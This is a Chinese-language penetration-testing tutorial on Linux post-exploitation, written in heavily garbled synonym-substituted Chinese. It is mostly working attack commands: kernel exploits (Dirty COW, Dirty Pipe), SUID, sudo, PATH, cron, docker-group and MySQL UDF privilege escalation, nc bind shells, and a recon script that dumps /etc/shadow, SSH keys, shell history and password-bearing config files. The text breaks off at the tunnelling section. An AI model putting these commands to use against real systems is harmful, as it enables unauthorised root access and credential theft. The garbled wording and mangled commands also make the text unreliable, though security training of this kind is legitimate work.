纯干货|一文读懂Linux内网渗入
网安教导
培育提拔收集平安人才
手艺交换、进修征询
Linux固然没有域情况,但是当我们拿到一台Linux 系统权限,莫非只停止一下提权,捕获一下灵敏信息就完毕了吗?显然不但是如许的。本片文章将从拿到一个Linux shell起头,介绍Linux内网渗入手艺,分为容器逃逸、Linux提权、Linux信息搜集、Linux隧道手艺、Linux横向挪动、Linux权限庇护、Linux陈迹清理几个部门。
容器逃逸
容器逃逸的利用次要是,拿到shell之后,发现是docker情况,要进一步渗入,就必需逃逸到宿主机。
容器逃逸办法见:
Linux提权
Linux提权可能能够分为下面几种:
系统内核提权;第三方办事提权;数据库提权;密码搜集提权;键盘笔录提权;Suid提权;Sudo提权;反弹shell提权。
提权辅助东西
GTFOBins
/
GTFOBins是一个精心筹谋的Unix二进造文件列表,能够用来绕过错误设置装备摆设系统中的当地平安限造。该项目搜集了Unix二进造文件的合法函数,那些函数可能被滥用,以突破受限造的shell,晋级或庇护提拔的特权,传输文件,生成绑定和反向shell,并为其他过后操纵使命供给便当。需要重视的是,那不是一个破绽列表,那里列出的法式自己其实不随便遭到进攻,相反,GTFOBins是一个概要,阐明当您只要某些二进造文件可用时,若何获得root权限。
BeRoot
BeRoot用于查抄Linux和Mac OS上常见的错误设置装备摆设,以找到一种办法来晋级我们的特权。查抄项包罗GTFOBins中的二进造文件、通配符错误、suid、情况变量、NFS、sudo等等,详尽能够往上面链接看。
展开全文
pspy
Pspy是一个号令行东西,用于在不需要root权限的情状下窥探历程。它容许您在其他用户运行的号令、cron使命等施行时查看它们。该东西通关轮回遍历/proc下的值来获取历程参数信息。
traior
多个linux提权破绽缝合怪。
Traitor 打包了一堆办法来操纵当地错误设置装备摆设和破绽来主动提权:
几乎所有的GTFOBins
可写 docker.sock
0x00 根底信息搜集
在说提权之前先介绍一下根本的信息搜集号令,为后续的提权做预备。
1、内核,操做系统和设备信息
1uname -a 打印所有可用的系统信息
2uname -r 内核版本
3uname -n 系统主机名。
4uname -m 查看系统内核架构( 64位/ 32位)
5hostname 系统主机名
6lsb_release -a 发行版信息
7cat /proc/version 内核信息
8cat /etc/*-release 发行版信息
9cat /etc/issue 发行版信息
10cat /proc/cpuinfo CPU信息
2、用户和群组
1cat/etc/passwd 列出系统上的所有用户
2cat /etc/group 列出系统上的所有组
3groups 当前用户所在的组
4groups test test用户所在的组
5getent group xxx xxx组里的用户
6grep -v -E "^#"/etc/passwd | awk -F: ' $3== 0 { print $1}' 列出所有的超等用户账户
7whoami 查看当前用户
8w 谁目前已登录,他们正在做什么
9last最初登录用户的列表
10lastlog 所有用户前次登录的信息
11lastlog –u %username% 有关指定用户前次登录的信息
3、用户和权限信息
1whoami当前用户名
2id 当前用户信息
3cat /etc/sudoers 谁被容许以root身份施行
4sudo -l 当前用户能够以root身份施行操做
4、情况信息
1env 展现情况变量
2echo%PATH 途径信息
3history展现当前用户的汗青号令笔录
4pwd输收工做目次
5cat /etc/profile 展现默认系统变量
6cat /etc/shells 展现可用的shell
0x01 内核破绽提权
提醒:内核破绽提权有风险,有可能会瓦解系统。
内核破绽是我们几乎更先想到的提权办法。通杀的内核破绽是非常少见的,因而我们应该先对系统相关的信息停止搜集,搜集办法参考第一末节根底信息搜集即可。
大多内核破绽通过内核版本能很快查到
SearchSploit
用kali自带的searchsploit来搜刮exploitdb中的破绽操纵代码
SearchSploit是一个Exploit-DB的号令行搜刮东西,它还容许随身照顾破绽操纵数据库的副本。
介绍:
SearchSploit利用:
更新SearchSploit:
1apt update apt -y full- upgrade
2searchsploit -u
根本搜刮语法:
只需添加您想要查找的肆意数量的搜刮词:
1searchsploit linux 2.6 ubuntu priv esc
2
3Tip:假设你没有收到预期的成果,能够利用更通用的术语停止更普遍的搜刮。如:Kernel 2.6.25 - Kernel 2.6 / / Kernel 2.x。
4Tip:不要利用缩写如:SQLi - SQL Injection。
展现破绽操纵的完全途径:
1-p, --path[EDB-ID]展现破绽操纵的完全途径(假设可能,还将途径复造到剪贴板),后面跟破绽 ID号
不料见在当地的破绽数据库中修改exp,定见利用-m参数复造那些有用的到当前的工做目次:
1-m, --mirror [EDB-ID] 把一个 exp拷贝到当前工做目次,参数后加目标id
exp操纵:
将exp上传到目标身手,编译运行(编译办法,在源码的正文里有)
1gcc 9545.c -o exp
2chmod777exp
3./ exp
当然,以上只长短常抱负的情状,我们经常会碰着没有gcc的坑爹办事器。那时我们就需要在当地编译。当地编译时不行要看exp源码正文的编译参数,也需要手动调整一下编译的参数,好比给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌。
最初强调操纵内核破绽的几个重视点:
1.读源码正文,有exp根本信息和编译办法,否则可能连编译都不会
2.读源码,否则费力编译完才发现不适用
3.读源码,否则碰着一个删全盘的”exp“怎么办
破绽原理:该破绽详细为,get_user_page内核函数在处置Copy-on-Write(以下利用COW表达)的过程中,可能产出竞态前提形成COW过程被毁坏,招致呈现写数据到历程地址空间内只读内存区域的时机。修改su或者passwd法式就能够到达root的目标。
破绽名称:脏牛(Dirty COW)
破绽危害:低权限用户操纵该破绽手艺能够在全版本上实现当地提权
影响范畴:3.9Linux kernel =2.6.22 而且Android也受影响
操纵脚本合集:PoCs · dirtycow/dirtycow.github.io Wiki
破绽复现:
先查看一下系统版本信息
linux kernel版本2.6.32,应该能够用脏牛提权。下载脏牛提权脚本
那里利用dirty.c那个exp:
那个exp操纵了dirtycow破绽的pokemon破绽 。会主动生成一个新的passwd行。 运行二进造文件时,会提醒用户输进新密码。 原/etc/passwd文件会备份到/tmp/passwd.bak下 ,用生成的行笼盖根帐户。运行该破绽后,你应该可以登录新创建的用户。 利用此破绽能够根据您的需要修改用户值。 默认为“firefart”用户。
上传到目标系统tmp目次下
在/tmp目次下间接起一个号令行,然后编译运行脚本
施行id号令后能够看到已经为root用户了,胜利提权。
操纵前提
15.8=Linux kernel5.16.11/5.15.25/5.10.102
EXP:
1
2#原理为 间接修改一个具有suid权限的可施行文件,然后施行那个可施行文件提权,完成提权后再把文件改回来
3
4or
5
6
7#原理为 笼盖 /etc/passwd 中的 root 密码字段并在弹出 root shell 后恢复
操纵:
1wget
2gcc -o dirtypipez dirtypipez.c
3./dirtypipez /usr/bin/su #任何详细suid权限的文件均可
0x02 SUID 提权
什么是suid?suid全称是Set owner User ID up on execution。那是Linux给可施行文件的一个属性——s标记。通俗的理解为其他用户施行那个法式的时候能够用该法式所有者/组的权限。需要重视的是,只要法式的所有者是0号或其他super user,同时拥有suid权限,才能够提权。
选举阅读P神的那篇文章:
常见的可用来提权的Linux 可施行文件有:
Nmap, Vim, find, bash, more, less, nano, cp
查看能够suid 提权的可施行文件:
1find / -perm -u=s -type f 2 /dev/null
2或者
3find / -user root -perm -4000-print 2 /dev/null
下面列举几个常见的设置了SUID的利用法式提权手段:
find
1ls -al /usr/bin/ find
2-rwsr-xr-x 1root root 162424Jan 62012/usr/bin/ find
适用法式find用来在系统中查找文件。同时,它也有施行号令的才能。 因而,假设设置装备摆设为利用SUID权限运行,则能够通过find施行的号令都将以root身份往运行。
好比:DC -1 靶机就是操纵find 号令停止root 用户来施行号令
大部门Linux 系统都安拆了nc。利用如下号令即可胜利得到root shell:
1find / - typef - exec/bin/bash \;
2或
3find / - execnc -lvp 5555 -e /bin/sh \;
4nc ip port
测试:
1chomodu+s /usr/bin/find #chmod u+s 给某个法式的所有者suid权限。
nmap
较旧版本的Nmap(2.02≤nmap5.21)带有交互形式,从而容许用户施行shell号令。因为Nmap位于上面利用root权限施行的二进造文件列表中,因而能够利用交互式掌握台来运行具有不异权限的shell。)
能够利用下号令进进namp交互形式
1nmap--interactive
施行号令后会返回一个shell
1nmap !sh
2sh-3.2 # whoami
3root
5.2.0 之后,nmap 还能够通过施行脚原来提权:
在某些发行版的Linux 可能会提权失败。详细原理移步p 师傅文章
1# nse脚本 shell.nse
2os. execute( '/bin/sh')
3# nmap 提权
4nmap --=shell.nse
或者
1echo'os.execute("/bin/sh")' getshell
2sudo nmap --=getshell
vim
假设vim 是通过SUID运行,就会继续root用户的权限。可读取只要root能读取的文件。
1vim/etc/shadow
vim 运行shell
1vim
2:setshell= /bin/sh
3:shell
同理,称心前提的 less 和 more 都可。
awk
1awk ' BEGIN{ system( "/bin/bash")} '
2
strace
1strace -o/dev/ null/bin/bash
0x03 操纵情况变量提权
操纵关键在于找到具有SUID权限的文件,情况变量中有本身能掌握的途径,好比当前目次(.)
详尽文章参考:
PATH 是Linux 和 Unix 操做系统中的情况变量,它指定存储可施行法式的所有bin和sbin目次。当用户在末端上施行任何号令时,它会通过PATH变量来响利用户施行的号令,并向shell发送恳求以搜刮可施行文件。超等用户凡是还具有/sbin和/usr/sbin条目,以便于系统治理号令的施行。
利用echo号令展现当前PATH情况变量:
测试:
情况设置装备摆设:
如今我们的当前目次是/home/yokan,我们将在当前目次下创建一个srcipt目次。然后cd到目次中,编写一个简单的c法式来挪用系统二进造文件的函数。
1pwd
2mkdir
3cd/
4nano demo.c
demo.c文件内容如下图,你能够看到,我们挪用了ps号令,即系统二进造文件:
然后利用gcc号令编译demo.c文件而且付与编译文件SUID权限,号令如下:
1gccdemo.c -o shell #需要以root权限编译
2chmod u+s shell
3ls -la shell
进攻操纵:
起首,你需要先辈侵靶机系统而且进进到提权阶段。假设你已经通过ssh胜利登录到了靶机上,二话不说,我们间接利用find号令来搜刮具有SUID或4000权限的文件。
1find / -perm -u=s -type f 2 /dev/null
通过施行上述号令,进攻者能够遍历任何可施行文件,在那里我们能够看到/home/yokan/目次下的shell文件具有SUID权限,如图:
于是我们cd到/home/yokan//目次下,ls一下,看到了名为shell的可施行文件。我们运行一下那个文件,能够看到shell文件测验考试施行ps号令,那个号令是/bin目次下的用来查看历程形态的实在文件。
1ls
2./shell
提权:
1cd/tmp
2echo“/bin/bash” ps
3chmod 777 ps
4echo$PATH
5exportPATH=/tmp: $PATH
6cd/home/yokan/
7./shell
8whoami
其他更多的办法参考上面的文章。
0x04 操纵第三方办事提权
当一些第三方办事,以root身份运行, 我们通过它拿到的shell就是root权限。
netstat -antup该号令能够展现所有翻开并正在监听的端口,我们能够通过此号令查抄能否有能够操纵的当地办事
ps -aux | grep root 该号令能够展现以root用户身份运行的办事
Docker 组提权
docker 组内用户施行号令的时候会主动在所有号令前添加 sudo。因为设想或者其他的原因,Docker 赐与所有 docker 组的用户相当大的权利(固然权利只表现在能拜候 /var/run/docker.sock 上面)。默认情状下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护历程会容许 root 用户和 docker
组用户拜候 Docker。给用户供给 Docker 权限和给用户无需认证即可以随意获取的 root 权限区别不大。
docker组内用户施行如下号令,即可获得root权限
1docker run -v / :/hostOS-i -t chrisfosterelli/rootplease
2
3#参数 -v 将容器外部的目次 / 挂载到容器内部 /hostOS
4那个容器的启动脚本是 exploit.sh,次要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。
测试:
创建了个用户dockertest加进了docker组,然后施行如下号令,获得root权限
1docker run -v / :/hostOS-i -t chrisfosterelli/rootplease
MySQL UDF 提权
先查看 secure_file_priv 的值能否为空,因为只要为空我们才气陆续下面的提权步调
提权步调:
获取udf代码
1sqlmap中有现成的 udf文件,分为32位和64位,必然要抉择对版本,不然会展现: Can‘ topensharedlibrary‘ udf.dll‘。
2
3sqlmap\ udf\ mysql\ windows\32目次下存放着 lib_mysqludf_sys.dll_
4sqlmap\ udf\ mysql\ windows\64目次下为64位的 lib_mysqludf_sys.dll_
5
6但是 sqlmap中 自带 的 shell以及一些二进造文件,为了避免被误杀都颠末异或体例编码,不克不及间接利用的。
7能够操纵 sqlmap自带的解码东西 cloak.py,进进到 sqlmap\ extra\ cloak\ cloak目次下,施行号令:
8cloak.py-d-iD:\ sqlmap\ udf\ mysql\ windows\32\ lib_mysqludf_sys.dll_
9
10sqlmap中的 udf文件供给的函数:
11sys_eval,施行肆意号令,并将输出返回。
12sys_exec,施行肆意号令,并将退出码返回。
13sys_get,获取一个情况变量。
14sys_set,创建或修改一个情况变量。
将udf文件上传到指定位置
1MySQL 5.0,导出途径随意;
25.0= MySQL 5.1,则需要导出至目标办事器的系统目次(如:c:/windows/system32/)
3MySQL 5.1以上版本,必需要把udf.dll文件放到MySQL安拆目次下的lib\plugin文件夹下才气创建自定义函数。
4
5select@@basedir; #查看mysql安拆目次
6select'It is dll'intodumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //操纵NTFS ADS创建lib目次
7select'It is dll'intodumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //操纵NTFS ADS创建plugin目次
8select0xUDFcode intodumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll'; #导出udfcode,重视修改udfcode
从udf文件中引进自定义函数
1createfunctionsys_eval returnsstringsoname'udf.dll';
2//sys_eval是函数名称(可选shell,sys_exec,sys_eval),udf.dll是lib_mysqludf_sys.dll_上传后的文件名
施行号令
1select* frommysql.func wherename= 'sys_eval'; #查看创建的sys_eval函数
2selectsys_eval( 'whoami'); #利用系统号令
陈迹肃清
1dropfunctionsys_eval; #删除函数
2deletefrommysql.func wherename= 'sys_eval'#删除函数
redis提权
假设Redis以root身份运行,黑客能够操纵Redis写进SSH公钥文件,间接通过SSH免密码登录受害办事器。Redis 默认绑定在6379端口,而且没有开启认证,在没有任何拜候战略的情状下,任何人能够间接在非受权情状下间接拜候Redis办事并停止相关操做。
详尽参考《Redis根底与简单操纵.docx》
0x05 Sudo提权
一旦进攻者有权拜候任何SUDO用户,那么他根本上就能够利用root权限施行任何号令。治理员可能只容许用户通过SUDO运行一些号令,但绝对不是所有号令,即便是利用如许的设置装备摆设,他们也可能会在不知情的情状下引进破绽,从而招致权限提拔的风险。
无密码:
sudo -l打印容许做为SUDO运行的号令
假设我们被容许以sudo运行find、cat、vi、more、less、nmap、perl、ruby、gdb、python等任何编程语言编译器、阐明器和编纂器,那么我们就能够通过那些号令,获得root权限。
现实情况中纷歧定会那么明显展现可用号令,某些设置装备摆设也是能够利用那几个号令的,假设对sudo机造不熟悉,能够间接利用sudo+号令 测试能否可用。
例如 vi号令:
进进底线号令形式,输进:!/bin/bash,即可翻开一个用户为root的shell
1sudo vi test.txt
2:! /bin/bash
有密码:
假设晓得sudo组用户的密码,能够间接sudo -i提权。
sudo -i: 为了频繁的施行某些只要超等用户才气施行的权限,而不消每次输进密码,能够利用该号令。提醒输进密码时该密码为当前账户的密码。没有时间限造。施行该号令后提醒符变成“#”而不是“$”。想退回通俗账户时能够施行“exit”或“logout” 。
填补:
间接在低权shell里面用sudo是不奏效的,那是因为出于平安考虑,linux要求用户必需从末端设备(tty)中输进密码,而不是原则输进(stdin)。换句话说,sudo在你输进密码的时候素质上是读取了键盘,而不是bash里面输进的字符。因而为了可以输进密码,我们必需模仿一个末端设备。
python就有如许的功用。在shell里面输进:
1python-c 'import pty;pty.spawn("/bin/sh")'
就用python成立了一个虚拟末端,然后就能够利用sudo等等号令了。
十分好用
概述
当sudo通过 -s 或 -i 号令行选项在shell形式下运行号令时,它将在号令参数中利用反斜杠转义特殊字符。但利用 -s 或 -i 标记运行 sudoedit 时,现实上并未停止转义,从而可能招致缓冲区溢出。因而只要存在sudoers文件(凡是是 /etc/sudoers),进攻者就能够利用当地通俗用户操纵sudo获得系统root权限。
影响版本
sudo 1.8.2 - 1.8.31p2
sudo 1.9.0 - 1.9.5p1
查看sudo版本
号令:sudo --version
POC
复现
1sudo--version
1pythonexploit_defaults_mailer.py
2
3/tmp/sshell
0x06 文件权限设置装备摆设不妥
当某个历程启动权限为ROOT,对应文件编纂权限为通俗用户时,我们能够操纵该问题点停止提权。
pspy()东西供给了通俗用户权限即可监听历程信息
测试情况:
起首我们创建一个while轮回,并利用ROOT用户轮回施行/tmp/1.sh。
操纵:
我们获取通俗用户权限时,操纵pspy能够监控到ROOT用户在继续施行/tmp/1.sh:
测验考试查看/tmp/1.sh文件内容和权限,发现我们当前用户具备读写权限:
我们测验考试替代文件内容,查看能否会以ROOT权限启动此中号令:
发现胜利提权,以ROOT权限启动自定义号令:
0x07 方案使命设置装备摆设不妥
Cron使命经常以root权限运行。假设我们能够胜利窜改Cron使命中定义的任何脚本或二进造文件,我们即可以利用root权限施行肆意代码。
查看方案使命的办法:
1crontab -l
2ls -alh / var/spool/cron
3cat /etc/cron*
举例:
ls -la /etc/cron.d 打印cron.d中已经存在的Cron使命。
find / -perm -2 -type f 2/dev/null 打印全局可写进文件
cron-logrotate.sh是全局可写进的,它由cronjob运行。我们在cron-logrotate.sh中写进/添加的任何号令城市以root身份施行
我们在/tmp目次下编写一个C文件,并对其停止编译:
rootme可施行文件会产生一个Shell。ls -la rootme 阐明该文件由用户SHayslett拥有。
然后施行下面号令,将可施行文件的所有者和分组修改为root,同时也会设置SUID位:
1echo"chown root:root /tmp/rootme; chmod u+s /tmp/rootme;"/usr/ local/sbin/cron-logrotate.sh
待logrotate Cron使命以root权限运行后,
运行./rootme产生一个root Shell
破绽描述:该破绽是因为pkexec无法准确处置挪用参数,从而将情况变量做为号令施行,具有肆意用户权限的进攻者都能够在默认设置装备摆设下通过修改情况变量来操纵此破绽,从而获得受影响主机的root权限。
受影响linux:
2009年5月至 2022 年1月26日发布的所有 Polkit 版本
Polkit预拆在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在该版本事域Polkit的Linux系统均受影响。
受影响国产化操做系统:
银河麒麟高级办事器操做系统 V10
银河麒麟高级办事器操做系统 V10 SP1
银河麒麟高级办事器操做系统 V10 SP2
统信 UOS 办事器操做系统 V20
银河麒麟桌面版操做系统 V10
银河麒麟桌面版操做系统 V10 SP1
统信 UOS 桌面版操做系统 V20
中标麒麟桌面版操做系统 V7.0
版本检测:
Linux系统用户能够通过查看Polkit版原来揣度当前系统能否在受影响范畴内,支流Linux发行版号令如下:
CentOS、RedHat 系列:
1rpm-qa polkit
Debian、Ubuntu 系列:
1dpkg-l policykit- 1
不受影响版本
CentOS:
1CentOS6: polkit-0.96-11.el6_10.2
2CentOS7: polkit-0.112-26.el7_9.1
3CentOS8 .0: polkit-0.115-13.el8_5.1
4CentOS8 .2: polkit-0.115-11.el8_2.2
5CentOS8 .4: polkit-0.115-11.el8_4.2
Ubuntu:
1Ubuntu14 .04ESM: policykit-1-0.105-4ubuntu3.14.04.6+ esm1
2Ubuntu16 .04ESM: policykit-1-0.105-14.1ubuntu0.5+ esm1
3Ubuntu18 .04LTS: policykit-1-0.105-20ubuntu0.18.04.6
4Ubuntu20 .04LTS: policykit-1-0.105-26ubuntu1.2
5Ubuntu21 .10: policykit-1-0.105-31ubuntu0.1
Debain:
1Debainstretch: policykit-10 .105-18+ deb9u2
2Debainbuster: policykit-10 .105-25+ deb10u1
3Debainbullseye: policykit-10 .105-31+ deb11u1
4Debainbookworm, bullseye: policykit-10 .105-31.1
破绽复现:
CentOS情况
操纵:
exp网上良多。也很不变。也算是个”神洞“了。
Linux信息搜集
本机根本信息
1#治理员
2$通俗用户
3@之前表达登录的用户名称,之后表达主机名,再之后表达当前所在目次
4/ 表达根目次
5~表达当前用户家目次
1、内核,操做系统和设备信息
1uname -a 打印所有可用的系统信息
2uname -r 内核版本
3uname -n 系统主机名。
4uname -m 查看系统内核架构( 64位/ 32位)
5hostname 系统主机名
6lsb_release -a 发行版信息
7cat /proc/version 内核信息
8cat /etc/*-release 发行版信息
9cat /etc/issue 发行版信息
10cat /proc/cpuinfo CPU信息
2、用户和群组
1cat/etc/passwd 列出系统上的所有用户
2cat /etc/shadow 查看用户Hash
3cat /etc/group 列出系统上的所有组
4groups 当前用户所在的组
5groups test test用户所在的组
6getent group xxx xxx组里的用户
7
8grep -v -E "^#"/etc/passwd | awk -F: ' $3== 0 { print $1}' 列出所有的超等用户账户
9awk -F: 'length( $2)==0 {print $1}' /etc/shadow #查看能否存在空口令用户
10awk '/\$1|\$6/{print $1}' /etc/shadow #查看长途登录的账号
11
12whoami 查看当前用户
13w 谁目前已登录,他们正在做什么
14who 号令用于展现系统中有哪些利用者正在上面
15last最初登录用户的列表
16lastlog 所有用户前次登录的信息
17lastlog –u %username% 有关指定用户前次登录的信息
3、用户和权限信息
1whoami当前用户名
2id 当前用户信息
3cat /etc/sudoers 能够利用sudo提拔到root的用户
4sudo -l 当前用户能够以root身份施行操做
4、情况信息
1env 展现所有的情况变量
2set 展现当地情况变量
3echo $PATH 情况变量中的途径信息
4export [ -fnp][ 变量名称]=[变量设置值] 展现和设置情况变量
5pwd 输收工做目次
6cat /etc/profile 展现默认系统变量
7cat /etc/shells 展现可用的shell
8ls -la /etc/*.conf 查看etc下所有设置装备摆设文件
5、汗青号令
展现当前用户的汗青号令笔录
1history
2cat ~/.bash_history
3
4# 查看其他用户的汗青号令文件
5cat /home/user/.bash_history
history展现内存和~/.bash_history中的所有内容;
内存中的内容并没有立即写进~/.bash_history,只要当当前shell封闭时才会将内存内容写进shell
6、历程信息
1psaux 以用户的格局展现所有历程,包罗非末端的历程
2ps -ef 展现所有历程,展现UID,PPIP(父历程),C与STIME栏位
3ps -ef | grep java 查询某个利用的所有历程信息
4top 实时展现占用最多的历程
假设想查看历程的CPU占用率和内存占用率,能够利用aux
假设想查看历程的父历程ID和完全的COMMAND号令,能够利用-ef
1lsof-c $PID查看历程联系关系文件
2/proc/ $PID/cmdline 完全号令行信息
3/proc/ $PID/comm 历程的号令名
4/proc/ $PID/cwd 历程当前工做目次的符号链接
5/proc/ $PID/exe 运行法式的符号链接
6/proc/ $PID/environ 历程的情况变量
7/proc/ $PID/fd 历程翻开文件的情状
7、办事信息
1cat /etc/services 查询存在的办事
2cat /etc/services | grepJava 查询对应的办事
3systemctl list-units --type=service -- state=running 查询已经开启的办事
8、方案使命
在Linux系统中,方案使命一般是由cron承担。cron启动后,它会读取它的所有设置装备摆设文件(全局性设置装备摆设文件/etc/crontab,以及每个用户的方案使命设置装备摆设文件),然后cron会根据号令和施行时间来定时来挪用工做使命。
1/ var/spool/cron/crontabs :那个目次以账号来区分每个用户本身的施行方案
2/etc/crontab :系统施行方案,需要在后边加上用户格局
1所有方案使命项:
2/var/spool/cron/*
3/var/spool/anacron/*
4/etc/crontab
5/etc/anacrontab
6/etc/cron.*
7/etc/anacrontab
1crontab -l 查询当前用户所有的方案使命
2crontab -l -u user 查询指定用户的方案使命
3cat / var/spool/cron/crontabs/root 查询root用户的方案使命
9、收集、路由和通信
查询ip
1ifconfig
2ip addr
打印路由信息
1route查询路由表
2route -n 查询路由表,以ip地址展现
3netstat -r 查询路由表
4ip ro
查看系统arp表
1arp-a
端口开放情状
1netstat-antup 所有端口
2netstat -antp tcp端口
3netstat -anup udp端口
查看端口办事映射
1cat/etc/services
列出iptables的设置装备摆设规则
1iptables-L
展现网卡信息
1netstat-i
dns信息
1cat/etc/resolv.conf 查看dns设置装备摆设信息
2dnsdomainname -V 打印DNS系统中FQDN名称中的域名
3cat /etc/hosts 查看hosts域名解析文件
10、已安拆利用
1rpm-qa -- last#Redhat、CentOS
2rpm -qa polkit #查看指定利用的安拆版本
3
4dpkg -l #ubuntu、debian
5dpkg -l policykit- 1#查看指定利用的安拆版本
6dpkg -L xxx #查询某个软件所联系关系的文件
11、查找能写或施行的目次
1find / -writable -type d 2 /dev/null
2find / -perm -o+w -type d 2 /dev/null
3find / -perm -o+x -type d 2 /dev/null
12、防火墙
1iptables -L 查看防火墙设置装备摆设
2
3查看防火墙形态:
4systemctl status firewalld
5service iptables status
6暂时封闭防火墙:
7systemctl stopfirewalld
8service iptables stop
9永久封闭防火墙:
10systemctl disablefirewalld
11chkconfig iptables off
12重启防火墙:
13systemctl enablefirewalld
14service iptables restart
13、灵敏文件
find号令 -o参数 表达 或者 的意思
1find / -type f -iname "*.bash_history"-o -iname "*config*"-o -iname "web.xml"-o -iname "*database*"-o -iname "*pass*"2 /dev/null
查找SSH密钥:
1find / -name "id_dsa*"-o -name "id_rsa*"-o -name "known_hosts"-o -name "authorized_hosts"-o -name "authorized_keys"2 /dev/null|xargs -r ls
Web利用办事
常见设置装备摆设文件途径:
1/apache/apache/conf/
2/apache/apache2/conf/
3/apache/php/php.ini
4/bin/php.ini
5/etc/apache/apache.conf
6/etc/apache/
7/etc/apache2/apache.conf
8/etc/apache2/
9/etc/apache2/sites-available/ default
10/etc/apache2/vhosts.d/ 00_default_vhost.conf
11/etc/
12/etc/
13/etc/
14/etc/
15/etc/init.d/
16/etc/php.ini
17/etc/php/apache/php.ini
18/etc/php/apache2/php.ini
19/etc/php/cgi/php.ini
20/etc/php/php.ini
21/etc/php/php4/php.ini
22/etc/php4. 4/fcgi/php.ini
23/etc/php4/apache/php.ini
24/etc/php4/apache2/php.ini
25/etc/php4/cgi/php.ini
26/etc/php5/apache/php.ini
27/etc/php5/apache2/php.ini
28/etc/php5/cgi/php.ini
29/etc/phpmyadmin/config.inc.php
30/home/apache/conf/
31/home/apache2/conf/
32/home/bin/stable/apache/php.ini
33/home2/bin/stable/apache/php.ini
34/NetServer/bin/stable/apache/php.ini
35/opt//
36/opt/xampp/etc/php.ini
37/PHP/php.ini
38/php/php.ini
39/php4/php.ini
40/php5/php.ini
41/usr/lib/php.ini
42/etc/nginx/nginx.conf
43/usr/lib/php/php.ini
44/usr/ local/apache/conf/
45/usr/ local/apache/conf/php.ini
46/usr/ local/apache2/conf/
47/usr/ local/apache2/conf/php.ini
48/usr/ local/etc/php.ini
49/usr/ local/
50/usr/ local/lib/php.ini
51/usr/ local/php/lib/php.ini
52/usr/ local/php4/lib/php.ini
53/usr/ local/php4/lib/php.ini
54/usr/ local/php4/php.ini
55/usr/ local/php5/etc/php.ini
56/usr/ local/php5/lib/php.ini
57/usr/ local/php5/php5.ini
58/usr/ local/share/examples/php/php.ini
59/usr/ local/share/examples/php4/php.ini
60/usr/ local/Zend/etc/php.ini
61/ var/apache2/config.inc
62/ var/
63/ var/
64/ var/
65/ var/ local//
66/ var/ local/
67/ var//
68/web/conf/php.ini
69//
70/
71/
72/
73/xampp/apache/bin/php.ini
74/xampp/apache/conf/
数据库
1/etc/init.d/mysql
2/etc/my.cnf
3/etc/mysql/my.cnf
4/etc/mysql/my.cnf
5/ var/lib/mysql/my.cnf
6/ var/lib/mysql/mysql/user.MYD
7/usr/ local/mysql/bin/mysql
8/usr/ local/mysql/my.cnf
9/usr/share/mysql/my.cnf
主动化脚本
linux_info.sh
1#!/bin/bash
2
3#输出文件
4filename=$(date +%s) '.log'
5
6echo"信息搜集"
7echo-e "\n"| tee -a $filename
8echo"账户信息搜集"| tee -a $filename
9cat /etc/passwd | tee -a $filename
10echo-e "\n"| tee -a $filename
11echo"shadow"| tee -a $filename
12cat /etc/shadow | tee -a $filename
13echo-e "\n"| tee -a $filename
14echo"历程信息搜集"| tee -a $filename
15ps aux | tee -a $filename
16echo-e "\n"| tee -a $filename
17echo"收集毗连"| tee -a $filename
18netstat -antlp | tee -a $filename
19echo-e "\n"| tee -a $filename
20echo"当前用户:"$(whoami) 2/dev/null | tee -a $filename
21echo-e "\n"| tee -a $filename
22echo"端口监听"| tee -a $filename
23netstat -lnpt | tee -a $filename
24echo-e "\n"| tee -a $filename
25echo"可登岸用户"| tee -a $filename
26cat /etc/passwd | grep -E -v 'nologin$|false'| tee -a $filename
27echo-e "\n"| tee -a $filename
28echo"增加用户的日记"| tee -a $filename
29grep "useradd"/var/ log/secure | tee -a $filename
30echo-e "\n"| tee -a $filename
31echo"History操做提取"| tee -a $filename
32cat ~/.* history| tee -a $filename
33echo-e "\n"| tee -a $filename
34echo"登录胜利的IP"| tee -a $filename
35grep "Accepted "/var/ log/secure* | awk '{print $11}'| sort | uniq -c | sort -nr | more | tee -a $filename
36echo-e "\n"| tee -a $filename
37echo"查看路由表"| tee -a $filename
38route -n | tee -a $filename
39echo-e "\n"| tee -a $filename
40echo"查看 SSH key"| tee -a $filename
41sshkey= ${HOME}/.ssh/authorized_keys
42if[ -e " ${sshkey}" ]; then
43cat ${sshkey}| tee -a $filename
44else
45echo-e "SSH key文件不存在\n"| tee -a $filename
46fi
47echo-e "\n"| tee -a $filename
48echo"查看 known_hosts"| tee -a $filename
49cat ~/.ssh/known_hosts | tee -a $filename
50echo-e "\n"| tee -a $filename
51echo"查找WEB-INF"| tee -a $filename
52find / -name *.properties 2/dev/null | grep WEB-INF | tee -a $filename
53echo-e "\n"| tee -a $filename
54echo"user|pass|pwd|uname|login|db_"| tee -a $filename
55find / -name "*.properties"| xargs egrep -i "user|pass|pwd|uname|login|db_"| tee -a $filename
56echo-e "\n"| tee -a $filename
57echo"jdbc:|pass=|passwd="| tee -a $filename
58find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh"| xargs grep -E "=jdbc:|pass=|passwd="| tee -a $filename
59echo-e "\n"| tee -a $filename
60# Author cances
61echo"ip和网卡信息"| tee -a $filename
62ip a | awk '{print $2,$4}'| tee -a $filename
63echo-e "\n"| tee -a $filename
64echo"可登岸用户"| tee -a $filename
65cat /etc/passwd | grep -E -v 'sync$|halt$|nologin$|false|shutdown'| tee -a $filename
66echo-e "\n"| tee -a $filename
67echo"用户登岸日记"| tee -a $filename
68lastlog | tee -a $filename
69echo-e "\n"| tee -a $filename
70echo"查看 hosts"| tee -a $filename
71cat /etc/hosts | tee -a $filename
72echo-e "\n"| tee -a $filename
73echo"查看 系统版本"| tee -a $filename
74cat /etc/*-release | tee -a $filename
75echo-e "\n"| tee -a $filename
76echo"查看 内核版本"| tee -a $filename
77uname -mrs | tee -a $filename
Linux隧道手艺
Linux内网渗入用到的隧道手艺和Windows内网渗入大差不差。
